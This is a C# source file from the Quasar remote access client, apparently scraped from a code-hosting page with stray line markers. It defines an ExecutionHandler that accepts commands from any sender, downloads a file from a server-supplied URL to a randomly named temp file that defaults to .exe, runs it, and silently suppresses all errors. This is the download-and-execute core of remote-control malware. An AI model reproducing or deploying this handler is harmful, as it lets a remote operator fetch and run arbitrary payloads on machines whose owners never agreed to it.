38 lines
1.2 KiB
C#
38 lines
1.2 KiB
C#
using Quasar.Common.Messages;
|
|||
|
|
using Quasar.Common.Networking;
|
||
|
|
using System;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Net;
|
||
|
|
|
||
|
|
namespace Quasar.Client.Messages
|
||
|
|
{
|
||
|
|
public class ExecutionHandler : IMessageProcessor
|
||
|
|
{
|
||
|
|
public bool CanExecute(IMessage message) => message is DoExecute;
|
||
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
||
|
|
|
||
|
|
public void Execute(ISender sender, IMessage message)
|
||
|
|
{
|
||
|
|
var msg = (DoExecute)message;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (msg.IsUrl)
|
||
|
|
{
|
||
|
|
string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
|
||
|
|
if (string.IsNullOrEmpty(ext)) ext = ".exe";
|
||
|
|
string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
|
||
|
|
using (var wc = new WebClient())
|
||
|
|
wc.DownloadFile(msg.FilePath, tmp);
|
||
|
|
Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|